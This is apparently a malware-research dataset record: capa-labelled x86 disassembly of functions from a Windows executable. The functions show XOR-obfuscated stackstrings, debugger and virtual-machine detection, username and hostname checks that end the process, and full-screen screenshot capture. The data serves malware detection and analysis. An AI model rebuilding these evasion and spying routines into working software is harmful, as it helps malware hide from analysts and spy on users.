joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bb60
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x503646
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push edi
mov edi, ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 4], 1
call fcn.00469df0
mov dword [ebp - 0x14], 1
xor ecx, ecx
mov dword [ebp - 0x10], 0x1004a55
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 2
jb 0x40bba4
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x10]
push ebx
lea eax, [ebp + 8]
mov byte [ebp - 0xd], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e2f00
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x40bc44
push esi
push 2
push 0
push ebx
call fcn.004e6cd6
push ebx
call fcn.004e2a8b
push 0
push 0
push ebx
mov esi, eax
call fcn.004e6cd6
mov ecx, dword [edi]
mov eax, 0x1e8c52
mov edx, dword [ecx + 0x10]
add esp, 0x1c
cmp esi, eax
cmova esi, eax
lea eax, [ecx + 0x10]
cmp esi, edx
ja 0x40bc1a
cmp dword [ecx + 0x14], 0x10
jb 0x40bc12
mov ecx, dword [ecx]
mov dword [eax], esi
mov byte [ecx + esi], 0
jmp 0x40bc26
mov eax, esi
push 0
sub eax, edx
push eax
call fcn.004686d0
mov eax, dword [edi]
cmp dword [eax + 0x14], 0x10
jb 0x40bc30
mov eax, dword [eax]
push ebx
push esi
push 1
push eax
call fcn.004eb77f
push ebx
call fcn.004e6788
add esp, 0x14
pop esi
mov ecx, dword [ebp + 0x1c]
pop ebx
cmp ecx, 0x10
jb 0x40bc75
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bc6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bc86
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.004e2350
int3

Function at 0x40bc90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
mov dword [ebp - 4], 0x1004a55
xor ecx, ecx
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x40bca0
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push esi
lea eax, [ebp + 8]
mov byte [ebp - 1], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e2f00
mov esi, eax
add esp, 8
test esi, esi
je 0x40bceb
push 2
push 0
push esi
call fcn.004e6cd6
push esi
call fcn.004e2a8b
push esi
mov edi, eax
call fcn.004e6788
add esp, 0x14
mov ecx, dword [ebp + 0x1c]
pop esi
cmp ecx, 0x10
jb 0x40bd1c
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bd12
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bd23
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret
call fcn.004e2350
int3
Function at 0x40bd70
Capabilities:
Check os version
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0x1a], 0x6d455c75
xor ecx, ecx
mov dword [ebp - 0x16], 0x4b7b584e
mov dword [ebp - 0x12], 0x5d58435d
mov word [ebp - 0xe], 0x5d
mov byte [ebp - 0xc], 1
nop word [eax + eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40bda0
mov byte [ebp - 0xc], 0
xor ecx, ecx
mov dword [ebp - 0xb], 0x464d5c69
mov dword [ebp - 7], 0x42490247
mov word [ebp - 3], 0x43
mov byte [ebp - 1], 1
nop dword [eax + eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x40bdd0
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1a]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40be05
lea ecx, [ebp - 0xb8]
push ecx
call eax
jmp 0x40be12
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xb4]
cmp eax, 0xb
je 0x40be22
cmp eax, 0xa
jne 0x40be31
cmp dword [ebp - 0xb0], 0
je 0x40be4b
xor al, al
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x40be2b
mov eax, dword [ebp - 0xb0]
cmp eax, 3
je 0x40be4b
cmp eax, 2
sete al
mov esp, ebp
pop ebp
ret
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x40bf00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x1004a55
xor ecx, ecx
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x40bf10
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ebx
lea eax, [ebp + 8]
mov byte [ebp - 1], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e2f00
add esp, 8
test eax, eax
je 0x40bf4b
push eax
call fcn.004e6788
add esp, 4
mov bl, 1
jmp 0x40bf4d
xor bl, bl
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40bf7d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bf73
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bf84
push ecx
push edx
call fcn.004dd0b2
add esp, 8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e2350
int3

Function at 0x40bf90
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x536240
mov esi, ecx
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x40bffe
test esi, esi
je 0x40bfe7
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40bfb2
sub ecx, edx
je 0x40bfe7
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40bfe3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40bfe3
cmp eax, 0x20
je 0x40bfe3
cmp eax, 0x45
je 0x40bfe3
cmp eax, 0x24
jne 0x40bfe7
mov bl, 1
jmp 0x40bfe9
xor bl, bl
push 0x536240
call fcn.004dc3c4
add esp, 4
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.004dc05c
int3
Function at 0x40c010
Capabilities:
Create directory

Disassembly:
push esi
push 0x536240
mov esi, ecx
call fcn.004dc3b3
add esp, 4
test eax, eax
jne 0x40c03f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x536240
mov esi, eax
call fcn.004dc3c4
add esp, 4
mov eax, esi
pop esi
ret
push eax
call fcn.004dc05c
int3
Function at 0x40c820
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40ca27
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40ca1d
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40ca11
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40ca07
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40c9b1
push eax
call fcn.004ebacc
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40c9b1
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40c9a8
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c98d
test dx, dx
je 0x40c989
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c98d
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c967
xor eax, eax
jmp 0x40c992
sbb eax, eax
or eax, 1
test eax, eax
je 0x40ca2f
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40c960
mov edi, dword [esp + 0x18]
push edi
call fcn.004eb376
add esp, 4
movups xmm0, xmmword [0x50dab8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40c9a9
Function at 0x40da00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
je 0x40da22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0xb
jb 0x40da10
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret
Function at 0x40ee10
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x40ee32
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x40ee20
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret

Function at 0x40ee40
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x40ee62
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x40ee50
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret

Function at 0x40ee70
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 9], 0
je 0x40ee92
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 8
jb 0x40ee80
mov byte [esi + 9], 0
mov eax, esi
pop esi
ret

Function at 0x40eea0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x40eec2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x40eeb0
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret

Function at 0x40eed0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xd], 0
je 0x40eef2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0xc
jb 0x40eee0
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret

Function at 0x40ef00
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x40ef22
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x40ef10
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
ret

Function at 0x40ef30
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x40ef52
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x40ef40
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret

Function at 0x40ef60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1c], 0
je 0x40ef82
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x1b
jb 0x40ef70
mov byte [esi + 0x1c], 0
mov eax, esi
pop esi
ret

Function at 0x40ef90
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
je 0x40efb2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x17
jb 0x40efa0
mov byte [esi + 0x18], 0
mov eax, esi
pop esi
ret

Function at 0x40efc0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x40efe2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x40efd0
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
ret
Function at 0x40eff0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x40f012
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x40f000
mov byte [esi + 0x22], 0
mov eax, esi
pop esi
ret

Function at 0x40f020
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xf], 0
je 0x40f042
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0xe
jb 0x40f030
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
ret
Function at 0x410550
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 7], 0
je 0x410572
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 6
jb 0x410560
mov byte [esi + 7], 0
mov eax, esi
pop esi
ret
Function at 0x414060
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
je 0x414082
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x1c
jb 0x414070
mov byte [esi + 0x1d], 0
mov eax, esi
pop esi
ret
Function at 0x414ca0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x414ce0
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x100
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], 0x100
push 0
push eax
mov dword [ebp - 0x14], 0x100
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 9], 0x4441476d
xor ecx, ecx
mov dword [ebp - 5], 0x48436f
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x414d60
lea eax, [ebp - 9]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004de700
add esp, 8
test eax, eax
jne 0x414dc6
mov dword [ebp - 8], 0x1365696f
xor ecx, ecx
mov dword [ebp - 4], 0x100647f
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x414d98
lea eax, [ebp - 8]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004de700
add esp, 8
test eax, eax
jne 0x414dc6
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x414e20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xe], 0x445b4d4c
mov dword [ebp - 0xa], 0x1c1e404e
xor eax, eax
mov dword [ebp - 6], 0x5e5d5401
mov word [ebp - 2], 0x100
lea ecx, [eax + 0x27]
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xc
jb 0x414e71
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4150e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x415102
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x4150f0
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x415110
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x415132
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x415134
mov bl, 1
mov dword [ebp - 5], 0x751264
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x415141
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x4152b0
mov dword [ebp - 9], 0x52466a71
xor ecx, ecx
mov dword [ebp - 5], 0x5b5e6f
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x4151a0
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4151e0
test dl, dl
je 0x4151dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4151e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4151c0
xor eax, eax
jmp 0x4151e5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4152a9
mov dword [ebp - 8], 0x52466a71
xor ecx, ecx
mov dword [ebp - 4], 0x1006a78
nop dword [eax]
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x415200
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415240
test dl, dl
je 0x41523c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415240
add eax, 2
add ecx, 2
test dl, dl
jne 0x415220
xor eax, eax
jmp 0x415245
sbb eax, eax
or eax, 1
test eax, eax
je 0x4152a9
mov dword [ebp - 0xb], 0x52466a71
xor ecx, ecx
mov dword [ebp - 7], 0x5d48596c
mov word [ebp - 3], 0x5b
mov byte [ebp - 1], 1
lea eax, [ecx + 0x27]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x415263
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4152a0
test dl, dl
je 0x41529c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4152a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x415280
xor eax, eax
jmp 0x4152a5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4152b0
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4160c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x4160e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x4160d0
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x4160f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x416112
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax + 0x27]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x416100
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x416160
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x50416b
push eax
mov dword fs:[0], esp
mov eax, dword [0x536624]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x4161e8
or eax, 1
mov dword [0x536624], eax
xorps xmm0, xmm0
mov dword [0x53663c], 2
movups xmmword [0x53662c], xmm0
mov eax, 0x2f5c
mov dword [0x536640], 0xf
push 0x50b7b0
mov word [0x53662c], ax
mov byte [0x53662e], 0
call fcn.004dd09d
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x4161f2
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4162cf
cmp dword [0x536640], 0x10
mov eax, 0x53662c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53662c]
cmp dword [esi + 0x14], 0x10
jb 0x416222
mov ecx, dword [esi]
push dword [0x53663c]
mov edx, edi
push eax
push ecx
call fcn.0046b3f0
add esp, 0xc
cmp eax, 0xffffffff
je 0x4162a6
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x41625d
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402830
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.00416160
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x4162a6
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41629c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4162e4
push ecx
push edx
call fcn.004dd0b2
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x4162ae
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2350
int3